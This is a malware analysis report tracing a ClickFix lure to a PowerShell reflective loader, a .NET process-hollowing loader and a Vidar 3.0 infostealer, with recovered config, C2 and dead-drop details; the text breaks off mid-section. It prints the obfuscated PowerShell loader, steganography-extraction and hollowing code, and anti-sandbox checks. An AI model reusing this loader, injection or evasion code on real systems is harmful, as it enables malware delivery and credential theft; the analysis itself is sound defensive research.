0. Preface

This write-up combines two analysis passes on one sample set (vidar-sample/clickfix/): a static + dynamic characterisation of the full ClickFix infection chain, and a deep-dive static analysis of the final payload’s live-decrypted memory image. The first pass answered how the payload arrives; the second answered what it is and what it does — and in doing so upgraded the family identification from “stealer-shaped, unconfirmed” to Vidar 3.0, self-identified, with the entire configuration, 194-API capability surface, and all 568 decrypted strings recovered.

Only the post-clipboard artifacts were provided for analysis — the HTML/JS ClickFix lure page itself is not in the sample set, and the ThreatFox-sourced delivery URL (hxxp://86.107.168.126/verification.vrf, last seen 2026-07-16, unreachable at analysis time) is a candidate initial download rather than a confirmed one. Everything from the PowerShell loader down is fully characterised, statically and dynamically.

C2, up front: hxxps://2.29.7.186 — a hardcoded IP with no SNI and no DNS, plus a three-platform dead-drop resolver (telegram.me/m1duus, www.pinterest.com/m1duus, steamcommunity.com/profiles/76561198657426610) sharing the operator handle m1duus behind the separator word x4tte.

Infection chain: a ClickFix lure (not in sample set; ThreatFox indicator verification.vrf on 86.107.168.126 is a candidate initial download) plants a PowerShell one-liner via Win+R; the PS1 base64-decodes and rolling-XORs a 1.56 MB blob and reflectively loads it with Assembly.Load(byte[]); Hollow_Runner.Program extracts an embedded 622×621 BMP resource XORed with “121314”, then process-hollows the recovered PE into a suspended calc.exe; the self-decrypted payload is Vidar 3.0 (build c4365025…fe4429c) with sandbox guards, dead-drop resolvers, a direct C2, task round trips, collection, and AES-256 exfiltration

1. The Threat at a Glance

AttributeAssessment
Malware typeClickFix delivery → PowerShell reflective loader → .NET process-hollowing loader → Vidar 3.0 infostealer
DeliveryClickFix social-engineering (victim pastes a PowerShell one-liner into Win+R); lure page not in sample set
Family / versionVidar 3.0 (self-reported in recovered config; fallback provider string says 2.8)
C2hxxps://2.29.7.186 (hardcoded IP, no SNI, no DNS) + Steam/Telegram/Pinterest dead-drop resolvers (x4tte tag)
TargetWindows (PS1 + x86 .NET loader; final payload x64)
Payload delivery inside the chainXOR steganography in a BMP + classic process hollowing into calc.exe
EvasionRolling-XOR PS1 obfuscation; zero static imports (custom FNV-1a API hashing, 194 APIs); no plaintext strings (568 code-generated strings + keyed-XOR config); junk code/opaque predicates; anti-debug ×3; scored sandbox suite; ntdll-direct syscalls
Stealer capabilityBrowsers (incl. Chrome v20 App-Bound Encryption bypass), wallets, Telegram/Discord/Steam, FileZilla/WinSCP, Azure, file grabber, screenshot, second-stage loader
AttributionRussian-language developer logging in the binary; m1duus campaign handle; Vidar-consistent TTPs
ConfidenceHigh (chain traced end-to-end statically + live detonation; config/strings/API hashes recovered and verified against the runtime IAT and pcap)

2. Infection Chain Overview

StageFileSHA-256Role
0*ClickFix lure page (HTML/JS)—Not in sample set. Timeline: ThreatFox indicator hxxp://86.107.168.126/verification.vrf, last seen 2026-07-16 — candidate initial download
1463197e4...61.ps1463197e44988b401501816cf53a42212f4dabb6838272e4641cf03761772f061PowerShell loader: base64-decode + rolling-XOR an embedded 1.56 MB blob, reflectively load the .NET assembly in memory
2cf4cd52d...09.execf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709Hollow_Runner.Program (.NET 4.8): extracts a payload hidden in an embedded BMP via XOR steganography, process-hollows it into a fresh calc.exe
3stage2_819b8c72...5.bin (extracted)819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5The injected payload — crypted x64 PE, zero imports, no plaintext strings; Vidar 3.0 after self-decryption in memory (dump 1f23112d...6b7d036e)

This is a three-stage chain carried by two nested encryptions: the PS1 hides the .NET hollowing loader behind base64 + rolling XOR, and the .NET loader hides the real stealer inside a BMP behind a per-pixel XOR. Neither stage writes its payload to disk — the entire chain runs from memory.

3. Stage 1 — PowerShell Loader (verification.vrf / 463197e4...61.ps1)

30 lines total; line 2 alone is 1,566,737 characters (the entire payload, base64-encoded). Stripped of that blob, the script is a single function:

function Invoke-crcspsszf {
    $fokfowe = "<1.56MB base64 blob>"
    $csuwn = 98      # XOR key byte
    $ohqfyt = 30     # rolling modulus

    $mjmrz = [Type]::GetType("System.Con"+"vert")
    $nukscs = $mjmrz.GetMethod("FromBa"+"se64String").Invoke($null, @($fokfowe))

    [Byte[]]$vzfrltgd = New-Object Byte[] $nukscs.Length
    for($ukxb=0; $ukxb -lt $nukscs.Length; $ukxb++) {
        $vzfrltgd[$ukxb] = $nukscs[$ukxb] -bxor $csuwn -bxor ($ukxb % $ohqfyt)
    }

    $pmjujv = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -match "mscorlib" }
    $pmjujv = $pmjujv.GetType("System.Refle"+"ction.Assem"+"bly")
    $loaded = $pmjujv.InvokeMember("Lo"+"ad", [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, @(,$vzfrltgd))

    if ($loaded.EntryPoint) {
        $params = $loaded.EntryPoint.GetParameters()
        if ($params.Count -eq 0) { $loaded.EntryPoint.Invoke($null, @()) }
        else { $loaded.EntryPoint.Invoke($null, @(,[string[]]@())) }
    } else {
        $type = $loaded.GetTypes() | Where-Object { $_.IsPublic } | Select-Object -First 1
        $method = $type.GetMethods() | Where-Object { $_.IsStatic } | Select-Object -First 1
        $method.Invoke($null, $null)
    }
}
Invoke-crcspsszf

Technique notes:

  • Identifier obfuscation. Every variable/function name is randomized ($fokfowe, $csuwn, Invoke-crcspsszf) — no semantic value, purely to defeat naming-pattern/YARA rules. Consistent with output from an automated PS1 obfuscator rather than hand-written code.

  • String-literal splitting. Sensitive API names are built via concatenation — "System.Con"+"vert", "FromBa"+"se64String", "System.Refle"+"ction.Assem"+"bly", "Lo"+"ad" — so the intact literals System.Convert, FromBase64String, System.Reflection.Assembly and Load never appear in the file.

  • Reflection instead of direct calls. [Type]::GetType(...) + .GetMethod(...).Invoke(...) instead of calling [System.Convert]::FromBase64String(...) directly — avoids the literal API call pattern static scanners look for.

  • Payload encoding: base64 → rolling XOR. Every byte is XORed with a constant key byte (98) XORed again with (index % 30) — a repeating 30-byte keystream, not a fixed single-byte XOR. Trivially reversible once the constant and modulus are known:

    raw = base64.b64decode(blob)
    out = bytes(b ^ 98 ^ (i % 30) for i, b in enumerate(raw))
    

    Decoding 1,566,720 base64 chars yields exactly 1,175,040 bytes — the same size as cf4cd52d...09.exe, and the SHA-256 of the decoded bytes matches the standalone .exe exactly (cf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709), confirming the .exe is precisely what the script loads.

  • In-memory reflective load — no file drop from the script itself. System.Reflection.Assembly.Load(byte[]) loads the decoded PE from a managed byte array; nothing touches disk. Even the Assembly type lookup goes through InvokeMember.

  • Generic entry-point invocation. If EntryPoint takes zero parameters it is invoked with @(); if it takes one, with an empty string[]. If the assembly has no entry point, the script falls back to the first public type’s first static method — a generic “just execute something” harness that works across differently-built payload assemblies.

MITRE ATT&CK (Stage 1): T1059.001 (PowerShell) · T1027 (obfuscation) · T1140 (runtime decode) · T1620 (reflective code loading) · T1204.001 (inferred — the ClickFix delivery, not present in this sample set).

4. Stage 2 — Hollow_Runner.Program (.NET, cf4cd52d...09.exe)

file: PE32 executable ... Intel i386 Mono/.Net assembly, 3 sections. diec: .NET Framework 4.8, CLR 4.0.30319, Microsoft Linker, CodeView debug records. Not obfuscated — clean type/method names, decompiles cleanly. Sole interesting type: Hollow_Runner.Program.

Embedded resources:

  • XOR_Loader.build.txt — build-log noise (MSBuild artifact, not meaningful)
  • XOR_Loader.build_main.exe.bmp — 1,160,082-byte BMP carrying the real payload via XOR steganography

Main():

string secret = "121314";
string text = "XOR_Loader.build_main.exe.bmp";
byte[] array = ProcessImageRaster(GetManifestResourceStream(text), secret);
if (array != null) { RunHollow(array); }

4.1 ProcessImageRaster — BMP steganography extraction

Reads the BMP’s biWidth/biHeight at header offset 18, seeks to pixel data at the fixed 54-byte header boundary (uncompressed 24bpp BMP), then for every row XORs each raw pixel byte against the ASCII bytes of "121314" cycling across the whole image (row padding bytes skipped). The first 4 bytes of the result are a little-endian int32 payload length; the following length bytes are the real payload.

This is not classic LSB steganography — the whole pixel byte is XORed, so the image is visibly noise, not a plausible-looking picture. The BMP container exists only to smuggle a length-prefixed encrypted blob past filters that treat images as inert.

Reversed and verified in this analysis:

width, height = struct.unpack_from("<ii", data, 18)   # 622 x 621
row_bytes = width * 3                                  # 1866
pad = (4 - (row_bytes & 3)) & 3                         # 2
# XOR every pixel byte (row by row, skipping pad) against "121314", cycling
# first 4 bytes of result -> int32 length (1,157,120)
# next `length` bytes -> payload, magic bytes "MZ" (a PE)

Output SHA-256 819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5 — saved as stage2_819b8c72...5.bin.

4.2 RunHollow — classic x64 process hollowing

  1. Resolves CreateProcessW, VirtualAllocEx, WriteProcessMemory, GetThreadContext, SetThreadContext, ResumeThread dynamically via GetModuleHandle("kernel32.dll") + GetProcAddress + delegate marshaling — only CreateProcess is a direct DllImport; the injection APIs never appear as static imports.
  2. CreateProcess(%SystemRoot%\System32\calc.exe, ..., dwCreationFlags=0x4 /* CREATE_SUSPENDED */) — spawns the legitimate Calculator suspended as the hollowing target. A masquerading choice: present on every Windows install, innocuous name.
  3. Parses the payload as a raw PE — e_lfanew at offset 60, AddressOfEntryPoint (+40), ImageBase (+48), SizeOfImage/SizeOfHeaders (+80/+84) straight out of the byte buffer.
  4. VirtualAllocEx at the payload’s preferred ImageBase first (PAGE_EXECUTE_READWRITE / MEM_COMMIT|MEM_RESERVE); falls back to an OS-chosen address if taken.
  5. WriteProcessMemory of the PE headers, then walks the section table (NumberOfSections at +6; section headers at PE header + 24 + SizeOfOptionalHeader) and maps each section to allocated_base + VirtualAddress — manually performing what the Windows PE loader normally does, but inside the remote suspended process.
  6. GetThreadContext on the suspended thread, sets Rip to allocated_base + AddressOfEntryPoint, and — the defining hollowing step — patches the remote PEB’s ImageBaseAddress: writes the new base as an 8-byte little-endian value to [Rdx+16]. At ntdll!RtlUserThreadStart entry on x64, RDX = PEB, and PEB+0x10 = ImageBaseAddress — the OS/CRT is made to believe the hollowed image is the process’s “real” module.
  7. SetThreadContext + ResumeThread — execution resumes at the injected PE’s entry point inside what tooling sees as calc.exe.
  8. On any failure in 3–7, the target is force-killed (Process.GetProcessById(pid).Kill()) to avoid leaving an inert suspended calc.exe as a forensic artifact.

MITRE ATT&CK (Stage 2): T1055.012 (Process Hollowing) · T1027.003 (Steganography) · T1620 (reflective code loading) · T1106 (Native API) · T1036.004/.005 (Masquerading as calc.exe) · T1140 (BMP XOR deobfuscation).

5. Stage 3 — The Payload, Statically (the crypted on-disk PE)

file: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 4 sections. diec: MSVC 19.29.30152 (VS2019 16.11) linker, PE64.

FieldValue
ImageBase0x360000000
EntryPoint RVA0xFDB8
Sections.text (0x112400 raw, entropy 5.73), .rdata (0x6a00, entropy 5.85), .data (0x1200 raw / 0x13fda0 virtual — ~1.28 MB of zero-filled runtime scratch, disproportionate to its tiny on-disk size), .reloc
Import Address Tableempty — 0 imported DLLs/functions; APIs resolved at runtime (hash/PEB-walk style)
Export/Resource/TLS/Bound-Import directoriesall empty
Stringsnone in plaintext — naive strings hits are x86-64 prologue/epilogue opcode bytes (UVWATAUAVAWH = push rbp; push rbx; push rdi; ...), not text

Static assessment: a crypted/loader-wrapped native stealer-shaped binary — huge code section vs near-empty import table, oversized zero-initialized .data (typical unpack buffer / decrypted-string landing zone), zero static strings. Consistent with a Vidar-family stealer stub but not confirmable statically (an abuse.ch lookup was blocked by a bot-check page). Resolving family, config, and C2 required dynamic analysis and the memory-dump deep dive (§6, §7).

6. Dynamic Analysis — Flare-VM Detonation

Environment: genuine Google FLARE-VM build, Windows 10 x64, driven headless via VBoxManage guestcontrol, snapshotted off the pristine Clean Flare baseline. Tooling: hollows_hunter/pe-sieve (hasherezade), fakenet-ng (DNS/HTTP/HTTPS interception + pcap), tshark. No Procmon/Sysmon in this build — process/network/filesystem/registry state was diffed via scripted before/after snapshots.

6.1 Finding: the captured .ps1 does not actually run

Executing the PS1 exactly as saved throws a hard PowerShell parse error:

Missing closing '}' in statement block or type definition.
At ...463197e4...61.ps1:19 char:29
+     if ($loaded.EntryPoint) {

Brace-counting confirms it: 2 unmatched { in the de-blobbed script body (9 open vs 7 close) — one missing } before the outer } else {, one closing the function at end of file. PowerShell refuses to parse the whole script, so nothing executes — not even the base64/XOR decode (empty loader_stdout.txt, ExitCode never set). This is a genuine bug in the author’s obfuscated wrapper as captured, not a collection artifact.

Pivot: the .exe is a separately compiled assembly (byte-identical to the intended PS1 payload per §3), unaffected by this scripting bug — dynamic analysis proceeded by executing cf4cd52d...09.exe directly.

6.2 Process hollowing — confirmed by two independent detectors

pe-sieve and hollows_hunter against the resulting calc.exe (PID 8984) both immediately flagged it:

"is_pe_replaced": 1, "implanted_pe": 1, "is_connected_to_peb": 1,
"module": "360000000", "module_size": "25c000"

0x360000000 / 0x25c000 match the static ImageBase/SizeOfImage from RunHollow() — dynamic result lines up with the static prediction exactly.

6.3 Recovered runtime IAT — the static blind spot, resolved

pe-sieve /imp 2 reconstructed the payload’s IAT from the live process (dynamic_analysis_artifacts/recovered_runtime_iat.txt). Where static analysis found zero imports, the running process shows:

ModuleNotable APIsPurpose
winhttp.dllWinHttpOpen/Connect/OpenRequest/SendRequest/WriteData/ReceiveResponse/ReadData/QueryHeaders/CrackUrlHTTP(S) C2 communication / exfil
bcrypt.dllBCryptGenerateSymmetricKey/Encrypt/Decrypt/GenRandomDecrypting stored browser/credential secrets (or encrypting exfil)
ntdll.dllNtReadVirtualMemory/NtWriteVirtualMemory/NtOpenProcess, full NtQuery*/registry Nt* setCross-process memory access, registry enumeration
kernel32.dllCreateToolhelp32Snapshot+Process32First/NextW, LoadLibraryA+GetProcAddress, CreateDirectoryAProcess enumeration, the dynamic API-resolution mechanism itself, staging directory creation
advapi32.dllGetCurrentHwProfileAHardware/victim fingerprinting (bot ID)

A textbook infostealer capability profile.

6.4 Network — C2 confirmed, with a dead-drop resolver pattern

hollows_hunter/pe-sieve also dumped the live, self-decrypted memory image of the injected module (2,473,984 bytes — larger than the 1,157,120-byte on-disk payload, consistent with runtime unpacking; hollowed_memory_dump_decrypted.bin, SHA-256 1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e). Unlike the on-disk file, the dump contains plaintext strings:

https://2.29.7.186
https://steamcommunity.com/profiles/76561198657426610
https://telegram.me/m1duus
https://www.pinterest.com/m1duus

The pcap corroborates this: 11 TLS ClientHello attempts to 2.29.7.186:443 during the detonation window, each with no SNI extension and no preceding DNS query — a hardcoded-IP connection deliberately avoiding DNS and SNI-based detection. Every connection completed a real TCP handshake (TIME_WAIT, not RST), so 2.29.7.186 was live and listening at analysis time. (All other captured traffic — Visual Studio, Microsoft traffic-shaping, Watson — is ordinary Windows/VM telemetry, confirmed unrelated.)

The three social links, all sharing the handle m1duus, are a classic dead-drop resolver: the operator publishes the live C2 address in a profile’s bio/about field so it can be rotated without recompiling, and the payload scrapes the profile before falling back to the hardcoded IP. This multi-platform resolver pattern, .NET hollowing loader, WinHTTP C2 and BCrypt-based secret decryption is a well-documented Vidar Stealer TTP — raising family confidence well beyond the static-only assessment (made fully conclusive by the deep dive, §7).

6.5 No persistence, no attributable disk artifacts (detonation window)

  • HKCU\...\CurrentVersion\Run identical before/after — no Run-key persistence.
  • Filesystem diff (%TEMP%, %LOCALAPPDATA%, %APPDATA%, Startup) showed nothing attributable in the ~20 s window — consistent with in-memory collection/exfil over HTTPS, or a collection cycle cut short by evidence collection.
  • Refined later (§7.7.2): the payload does persist a bot ID to HKCU (read-first, create-on-miss) — identity persistence, not execution persistence; a Run-key-only registry diff would not have caught it.

6.6 Artifacts retained (dynamic_analysis_artifacts/)

FileContents
hollowed_memory_dump_decrypted.binLive memory dump of the injected module (decrypted strings, resolved IAT)
recovered_runtime_iat.txtReconstructed import table (pe-sieve /imp 2)
pesieve_scan_report.json / hollows_hunter_summary.jsonDetection reports confirming process hollowing
pcap_tls_sni_log.txtAll TLS ClientHello SNI values during detonation
pcap_c2_ip_traffic.txtRaw packet fields for traffic to/from 2.29.7.186

7. Stage 3 Deep Dive — The Decrypted Memory Dump

Source: hollowed_memory_dump_decrypted.bin (SHA-256 1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e). All RVAs refer to the dump, where FileAlignment == SectionAlignment == 0x1000, so RVA == file offset throughout.

7.1 Identification

MSVC 19.29.30152 = VS2019 v16.11. Not .NET, not Go, not Rust, not packed (.text entropy 5.72 — normal compiled code).

FieldValue
ImageBase0x360000000 (matches pe-sieve "module": "360000000")
SizeOfImage0x25C000 (matches "module_size": "25c000")
EntryPointRVA 0xFDB8
Subsystem2 (GUI) — no console window
DllCharacteristicsHIGH_ENTROPY_VA | DYNAMIC_BASE | NX_COMPAT | TERMINAL_SERVER_AWARE
TimeDateStamp2026-08-05 20:50:41 UTC
Debug directorytype 13 (POGO) only — no CODEVIEW record, no PDB path
SectionVAVSizeEntropyNotes
.text0x10000x1130005.7241.1 MB of code, 1406 functions
.rdata0x1140000x70005.628almost entirely .pdata + debug dir
.data0x11B0000x1400000.16199% zero — only 13,149 non-zero bytes
.reloc0x25B0000x10000.0396 fixups — already relocated

The two structural facts everything follows from:

  1. The import directory is zero — zero imported DLLs/functions; every API is resolved at runtime (§7.4).
  2. There are no strings — a naive strings scan returns 505 hits on the 2.4 MB binary, essentially all x86-64 opcode bytes misread as text. No ASCII stack-strings either. The real strings live encrypted in .data (§7.3).

7.2 How this PE is produced, extracted and run

Recap of the handoff, end-to-end (source: stage2.cs, decompiled Hollow_Runner.Program): the Stage 3 PE is smuggled inside the embedded BMP resource (§4.1), extracted in Main(), and run by process hollowing into calc.exe (§4.2), with the remote PEB patched so the OS sees the injected image as the process’s real module:

dWriteProcessMemory2(lpProcessInformation.hProcess,
                     (IntPtr)(long)(structure.Rdx + 16),   // PEB->ImageBaseAddress
                     bytes, (uint)bytes.Length, out lpNumberOfWrittenBytes);
if (!dSetThreadContext2(lpProcessInformation.hThread, intPtr3))

The analysis environment was rebuilt as: pe-sieve /pid <calc pid> /imp 2 /dmode 3; kuna functions <dump> --mode aggressive; kuna decompile-project ... --mode aggressive --max-fn-seconds 60 → 1242 functions decompiled, 0 failed (of 1406 .pdata entries; the ~164 difference is small helpers/thunks, 19 of which contain API calls and were decompiled individually by VA).

7.3 String obfuscation — two independent mechanisms

Easy to miss: a keyed XOR routine covering the config blob only, and 568 per-string builder functions covering everything else.

7.3.1 Config blob — keyed XOR. One routine, sub_360105914 @ RVA 0x105914 — repeating-key XOR with a running (non-functional) checksum. Callers pass key = 0x36011B0F0, keylen = 0x10 (derived through an opaque predicate that always yields 16). The key is a static buffer:

88 aa 7a b3 4e d4 83 37 86 fd 5b b4 0b 4b 99 11

The stack arrays and mixing loops around every call site are junk — the key is the static buffer, not runtime-computed. Decrypting the embedded ciphertext reproduces the runtime .data exactly. Config-only.

7.3.2 Per-string builder functions — the real “string table”. There is no second table. Instead, hundreds of individual generator functions, one per string, each allocating a small buffer, computing its bytes arithmetically from a shared 32-bit seed, and caching the result in its own global. sub_36008F524 is representative:

long long sub_36008f524(void)
{
  if (dat_3602553f8) return dat_3602553f8;      // cached on first call
  v7 = sub_36002587c(0xc);                      // alloc 12 bytes (11 chars + NUL)
  v4 = sub_3600339f4();                         // the shared seed
  v9 = (unsigned char)v4;                       // seed byte 0
  v10 = 99 - v9;      v11 = v1 ^ 0xf1;          // ... per-string arithmetic ...
  sub_360033f70(v5, &v8, 0xb);                  // copy 11 bytes out
  *(char *)(v5 + 0xb) = 0;

Every string uses a different mix of xor/add/subtract against different seed bytes — no single key to lift — but all draw on one seed, computed once and cached. Because this is a live dump, the seed is already materialised @ RVA 0x254A90:

dat_360254a90 (seed) = 0x6B519DF3     dat_360254a94 (init flag) = 1

Applying the arithmetic to those four seed bytes: sub_36008F524() -> "plugin_name". This is why the binary has no strings — and a large part of why ~194 APIs of logic occupy 1.1 MB across 1406 functions.

7.3.3 Bulk recovery — 568/568 strings by emulation. Each builder calls exactly four helpers and nothing else (sub_36002587C alloc, sub_3600339F4 seed, sub_360033F70 copy, sub_360033FE0 memset); intersecting the call graph yields 568 functions — the complete string table. Emulation is trivial with the seed known: patch the allocator (it calls HeapAlloc through pointers into unmapped kernel32) to return a fixed scratch buffer, run each builder to a sentinel return address, read RAX. The 68 whose cache globals pointed into the real process heap (not in the image) were handled with a read-hook on first .data access, cache-global zeroed, re-run. Result: 568/568, zero failures → recovered_strings.txt, per-function annotation in function_strings_map.txt.

7.3.4 What the strings reveal. Several earlier inferences are now confirmed, and several new facts surface:

Earlier findingString that confirms it
Multipart POSTContent-Type: multipart/form-data; boundary=----%s, Cache-Control: no-cache, name="build_id", name="mode" → lg
Base64 responseparse_response: base64 decode failed
HWID field 1 format%08lX%04lX%08lX (8+4+8 = the 20 hex chars of AD5F6F34615DCCFF1E59)
PPID spoofing + fallbackspoof-parent, direct, spoof: all parents failed, fallback direct, earlybird: direct parent (spoof fallback)
APC injectionearlybird, apc: OpenThread resolve failed, %s: not copied (earlybird failed)
Tag-delimited DDRDead drop: %s (sw: %s), Dead drop: sepword '%s' не найден
  • The author’s own name for the DDR tag is “sepword” / “кодовое слово” (code word) — x4tte is a separator word, exactly as deduced from control flow.
  • Language/attribution: a substantial minority of log strings are Russian, mixed with English in the same build (developer-facing logging, e.g. Кодовое слово не найдено, пробуем напрямую: %s, Crypto: %d кошельков (%s), %d файлов, Screenshot: запуск). Reasonable indicator of a Russian-speaking developer, not proof of operator location.
  • Hardcoded AES-256 key. sub_360003104 fetches a 64-char hex string, hex-decodes it to 32 bytes, and hands it to BCrypt’s key-import path, initialised immediately before the C2 session — it keys the C2/exfil payload crypto: 4f8a2b1c9d3e7f6a0b5c1d8e2f9a4b7c6d3e0f1a2b5c8d9e0f1a2b3c4d5e6f7a A static, build-wide key — a captured pcap from this build is decryptable with it. Highest-value IOC of the pass.
  • Mutex name: Glasikprostik.
  • Self-copy path: %LOCALAPPDATA%\cnfigAp\, spawned with explorer.exe as the spoofed parent, falling back to the direct parent.
  • Fallback config provider (sub_360105340, reached only when the XOR key byte is zero): references exactly 2.8 (a different version string) and x4tte — no URLs of its own.

7.4 API hashing — custom FNV-1a, 194/194 resolved

sub_36010342C @ RVA 0x10342C:

unsigned int sub_36010342c(unsigned char *name)
{
  unsigned int h = 0x63975773;                  // basis  (standard FNV-1a: 0x811C9DC5)
  for (; *name; name = &name[1]) {
    h = (*name ^ h) * 0x10003F1;                // prime  (standard FNV-1a: 0x01000193)
  }
  return h;
}

Both constants non-standard, so off-the-shelf FNV rainbow tables miss. Verified 14/14 against ground-truth (slot → name) pairs from pe-sieve’s runtime IAT (NtClose → 0xB8FBB59F, NtCreateFile → 0x64D95E8B, …).

sub_360103F20 is a full manual export walk: validates MZ/PE, iterates AddressOfNames, hashes each name, and correctly handles forwarded exports (recurse if the RVA falls inside the export directory). Module bases come from a PEB walk; the two module-name hashes are 0x7A6E9517 = ntdll.dll and 0x76AADBD3 = kernel32.dll. Resolved pointers are cached into per-DLL .data tables — exactly what pe-sieve reconstructed as the “runtime IAT”.

Matching every 32-bit immediate in .text against a rainbow table built from wine export tables (84,024 names) plus mingw import libs (204,642 distinct hashes):

194 resolved; of the 191 hash constants at resolver call sites, 0 remain unresolved. This is the main gain over the dynamic artifacts: the runtime IAT captured ~60 APIs actually called in the 20 s detonation; static resolution recovers the complete 194-API capability surface, including every branch the sandbox never reached.

DLL (as attributed)Count
kernel3283
ntdll38
advapi3218
mincore (API-set forwarder → kernel32/ntdll)13
bcrypt12
gdi327
gdiplus5
rstrtmgr4
crypt32, onecore3 each
combase2
user32, setupapi, iisrtl, infocomm1 each
module-name hashes2

(mincore/onecore/combase rows are API-set forwarders whose real home is kernel32/ntdll. One entry, 0x600DA28C, matched only mingw symbol noise — flagged low-confidence. Full table: resolved_api_hashes.txt.)

7.5 Obfuscation and anti-analysis

Junk code / opaque predicates. A compile-time obfuscator inflates ~194 APIs of logic into 1.1 MB / 1406 functions:

  • a global state accumulator (dat_36022A9F0) mutated constantly for no functional reason — a tamper/flow-integrity token;
  • dead stack arrays with mixing loops whose results are discarded;
  • opaque predicates — branches on the accumulator where both arms are equivalent.

Control flow itself is not obfuscated — capstone decodes 100% of every .pdata function, 7,304 direct vs 471 indirect calls. The noise is arithmetic, not flattening.

Anti-debug ×3, all confirmed at their call sites: ThreadHideFromDebugger (ThreadInformationClass 0x11), ProcessDebugPort (7), and ProcessDebugObjectHandle (0x1e).

Sandbox/timing evasion: randomised sleeps derived from rdtsc sprinkled through network and task paths (rand(0,3000)+1000 between C2 attempts; rdtsc % 0x5DD + 1000 after task completion). GetTickCount, QueryPerformanceCounter, GetSystemMetrics all resolved.

ntdll-direct syscalls: 38 Nt* routines resolved directly from ntdll, bypassing the kernel32 wrappers most user-mode EDR hooks sit on — file I/O, registry, memory, and process/thread paths.

Scored sandbox suite — the recovered strings expose a scored, not pass/fail, sandbox check feeding a threshold:

sb: score        %d / %d (need 8)
sb: passed
Log stringCheck
sb: internet FAIL / skipoutbound connectivity
sb: debugger FAIL / OKdebugger present
sb: peb_flags FAILPEB BeingDebugged / NtGlobalFlag
sb: rdtsc %lu FAIL / OKtiming / instruction-cost anomaly
sb: modules FAILanalysis DLLs loaded
sb: av_sandbox FAILAV emulator artefacts
sb: uptime %lu sec — too fresh, waiting %lu mshost uptime too low → sleeps rather than aborting

Also present: analyst-artefact blacklist strings — John, JOHN-PC, sandbox, SANDBOX (checked against USERNAME/computer name) — and Defender process names MsMpEng.exe, MpCmdRun.exe. AV product fingerprinting (reported to the C2 as Antivirus: %s): Avast, AVG, ESET, Trend Micro, Kaspersky, Windows Defender, Bitdefender, Norton, Malwarebytes, Dr.Web, plus AV: none detected. This is the most likely explanation for the detonation’s quiet ~20 s window: with the C2 tearing down every connection, the sb: internet check and the retry loop kept the sample in waiting states.

7.6 Configuration

Fixed-size record array, lazily decrypted on first access. Encrypted stride 0x243, base RVA 0x11B162; decrypted stride 0x240, base RVA 0x2570E0. Fields per record: url[0x100], tag[0x40] (@0x2571E0), ua[0x100] (@0x257220). Record count @0x11C137; version ciphertext 0x11B100 → 0x2580A0; build ID 0x11B121 → 0x2580E0.

Access is gated by a lazy initialiser revealing a two-path config provider: if the key’s first byte is zero, the build uses the fallback provider (sub_360105340, the 2.8/x4tte one from §7.3.4) instead of the encrypted blob. Not the case here.

Recovered config (decrypted offline from ciphertext — reproduces the runtime .data exactly):

#URLTagType
0https://2.29.7.186(none)direct C2
1https://telegram.me/m1duusx4ttedead-drop resolver
2https://www.pinterest.com/m1duusx4ttedead-drop resolver
3https://steamcommunity.com/profiles/76561198657426610x4ttedead-drop resolver
  • Version: 3.0 — Build / campaign ID: c4365025bf4905e4621f91972fe4429c
  • User-Agents: record 0 uses a macOS Chrome UA (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/145.0.0.0 Safari/537.35); records 1–3 share a Windows Edge 144 UA.

Machine-readable: static_decrypted_config.json.

7.7 Dead-drop resolver (DDR) logic

Per-record dispatch. sub_360101764 walks the decrypted array; the tag field is the switch — tagged URL ⇒ dead-drop page to scrape (WinHTTP GET with the record’s UA, extract the value delimited by x4tte from the profile body, prefix-validate http:///https:// before use); untagged URL ⇒ used directly as the C2. This is why the tag is x4tte: the operator wraps the live C2 in that marker inside the Steam/Telegram/Pinterest profile bio and rotates it without recompiling.

Retry policy. sub_360100C90: 400–800 attempts (rand(0,400)+400) at 1–4 s jittered sleeps (rand(0,3000)+1000 ms) — potentially several hours of retrying. This matches the capture exactly (pcap_tls_sni_log.txt), the endpoints cycling in config-array order ~1.5 s apart:

170.812883  10.0.2.15 -> 2.29.7.186   443   (no SNI, no preceding DNS)
170.860224  10.0.2.15 -> ...          443   telegram.me
170.922266  10.0.2.15 -> ...          443   www.pinterest.com
170.985804  10.0.2.15 -> ...          443   steamcommunity.com
172.313249  10.0.2.15 -> 2.29.7.186   443   (cycle repeats)

Counts across the run: 44 each to the three resolver hosts, 59 flows to 2.29.7.186 — the direct-IP record tried first, with no SNI. The C2 completed real TLS handshakes then tore each down immediately, which is why the loop kept falling through to the resolvers.

Task round trip. sub_360029900(ctx, task_id, parser_fn, out_struct, label) is a generic request/parse pump: step 1 builds a multipart/form-data POST (random 20-byte MIME boundary, consuming build_id/victim-id fields, tag and task ID); step 2 the response is base64-decoded by a hand-rolled decoder (sub_36001CE30 derives each 6-bit value arithmetically from character ranges — which is why no base64 alphabet appears anywhere in the image); step 3 the decoded body is JSON, walked by a small JSON library and flattened into a fixed-size record array (task "3"’s parser allocates 1000 × 400-byte records, capped at 1000 entries, bucketing by an int flag at +0x18C into two lists).

Task IDParserOutput structRecord stride
"2"sub_360021F64dat_36022B998—
"3"sub_360028690dat_36022B978 (ptr) / dat_36022B980 (count)400 (0x190)
"4"sub_36002835Cdat_36022B988 (ptr) / dat_36022B990 (count)0x34C
"21"sub_360021C08dat_36022B998—
"6"(teardown path, sub_360026D80)——

So the numbered tasks are the instruction set, not the loot. The client asks the C2 what to steal; the answer arrives as base64-wrapped JSON and is parsed into these tables, which the collection code then walks. The strings naming the actual targets live in the JSON — on the server, not in this binary — the structural reason no browser paths or file masks appear anywhere in the image.

7.8 Victim identification

Bot ID construction (sub_360020200/sub_3600205EC) — three fields: (1) an LCG (x = x*0x41C64E6D + 0x3039) over the GetVolumeInformationA volume serial, hex-formatted %08lX%04lX%08lX; (2) 13 chars of the GetCurrentHwProfileA szHwProfileGuid (start at index 1, skipping the {); (3) a short HWID. Reproduces the live value at RVA 0x22B7B4:

